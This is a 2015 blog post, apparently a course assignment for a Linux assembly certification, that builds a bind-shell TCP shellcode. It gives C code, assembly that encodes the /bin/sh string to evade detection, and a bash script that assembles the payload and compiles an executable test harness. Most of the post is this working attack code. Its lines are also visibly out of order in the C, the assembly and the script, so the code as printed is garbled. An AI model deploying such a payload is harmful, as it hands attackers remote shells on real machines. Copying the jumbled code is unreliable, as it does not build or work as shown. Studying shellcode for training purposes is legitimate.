Sunday, January 4, 2015

1. Linux Shell Bind TCP Shellcode


The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the first assignment, where I have to create a shell bind TCP shellcode, where the port is configurable.


A simple C solution for this bind shell TCP stack would be:

#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
        int clientfd, sockfd;
#include <netinet/in.h> int main(void) {
        int o = 1;
        int dstport = 4444;         struct sockaddr_in mysockaddr;
        mysockaddr.sin_family = AF_INET; //2
        sockfd = socket(AF_INET, SOCK_STREAM, 0);         mysockaddr.sin_port = htons(dstport);
        bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
        mysockaddr.sin_addr.s_addr = INADDR_ANY; //0         listen(sockfd, 0);         clientfd = accept(sockfd, NULL, NULL);
}
        dup2(clientfd, 0);         dup2(clientfd, 1);         dup2(clientfd, 2);         execve("/bin/sh", NULL, NULL);
        return 0;
And the Assembly code for this can be the following one. The /bin/sh string is encoded in the shellcode to evade detection:
global _start
section .text
xor ebx, ebx ;clear ebx
_start:
xor eax, eax ;clear eax
mov al, 0x66 ;syscall socketcall
push ebx ;tcp = 6
mov bl, 0x6 ;tcp = 6 sub bl, 0x5 ;ebx = 1; socket
mov ecx, esp ;move pointer to args to ecx
push ebx ;sock_stream push byte 0x2 ;af_inet int 0x80 ;socket()
mov al, 0x66 ;syscall socketcall
mov edi,eax ;int socketfd xor eax, eax ;clear eax mov bl, 0x2 ;2 for bind()
push word bx ;2 = af_inet
xor edx, edx ;clear edx push edx ;push 0x0 push word 0xbabe ;portno
push ecx ;const struct sockaddr *addr
mov ecx, esp ;pointer to args push byte 0x10 ;addrlen push edi ;sockfd from socket
mov bl, 0x4 ;4 listen
mov ecx, esp ;pointer to args int 0x80 ;go go go push byte 0x66 ;syscall socketcall pop eax push byte 0x1 ;backlog
xor edx, edx ;clear edx
push edi ;int sockfd mov ecx, esp ;pointer to args int 0x80 ;listen() push byte 0x66 ;syscall socketcall pop eax inc ebx ;5 accept
xor ecx, ecx ;clear counter
push edx ;0 push edx ;null push edi ;sockfd mov ecx, esp ;pointer to args int 0x80 ;accept xchg eax, ebx ;set ebx to sockfd
mov cl, 0x2 ;loop counter gotolabel: mov al, 0x3f ; int 0x80 ;syscall dec ecx ;decrement counter jns gotolabel ;loop if not null
mov esi, 0x4c47411d ;decode /bin/sh
xor eax, eax ;clear eax, again push eax ;push eax to stack mov esi, 0x46510d0d ;decode /bin/sh add esi, 0x22222222 ;push 0x68732f2f ;"sh//" mov dword [esp-4], esi
mov ecx, esp ;filename string terminator, ecx is 00
add esi, 0x22222112 ;push 0x6e69622f ;"nib/" mov dword [esp-8], esi sub esp, 8 ;align esp mov ebx, esp ;filename push eax mov edx, esp ;envp[] push ebx mov al, 0xb ;execve int 0x80 ;syscall execve
Now that our shellcode is ready, let's wrap this with following nice script. It creates the elf file from the nasm source file, links it to an object file, dumps the shellcode with objdump, creates a new C file including the new shellcode, and compiles it. The nasm source code is modified on-the-file to include the correct port number. Change back the modified port number to 0xbabe if you want to change port number again.

#!/bin/bash
echo 'Usage: ./all_compile.sh source_file portnumber. E.g. ./all_compile.sh bind 12345 where bind.nasm is the source file'
port=`printf '%04x\n' $2|sed -r s/\([0-9a-f][0-9a-f]\)\([0-9a-f][0-9a-f]\)/\\\2\\\1/` echo Port in hex: $port
echo '[+] Assembling with Nasm ... '
sed s/0xbabe/0x$port/ < $1.nasm > $1.nasm_ cp $1.nasm_ $1.nasm cat $1.nasm | grep 'push word 0x' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...'
for i in `objdump -d $1 | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" >> shellcode.asm; done
ld -melf_i386 -o $1 $1.o echo '[+] Dumping shellcode ...' echo '' > shellcode.asm echo '[+] Creating new shellcode.c ...' cat > shellcode.c <<EOF #include<stdio.h>
printf("Shellcode Length: %d\n", strlen(code));
#include<string.h> unsigned char code[] ="\\ EOF echo -n "\\" >> shellcode.c cat shellcode.asm >> shellcode.c cat >> shellcode.c <<EOF "; main() {
echo '[+] Done! Run ./shellcode to execute!'
int (*ret)() = (int(*)())code; ret(); } EOF echo '[+] Compiling shellcode.c ...' gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c
Let's test this!
Happy shell! :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE - 607

No comments:

Post a Comment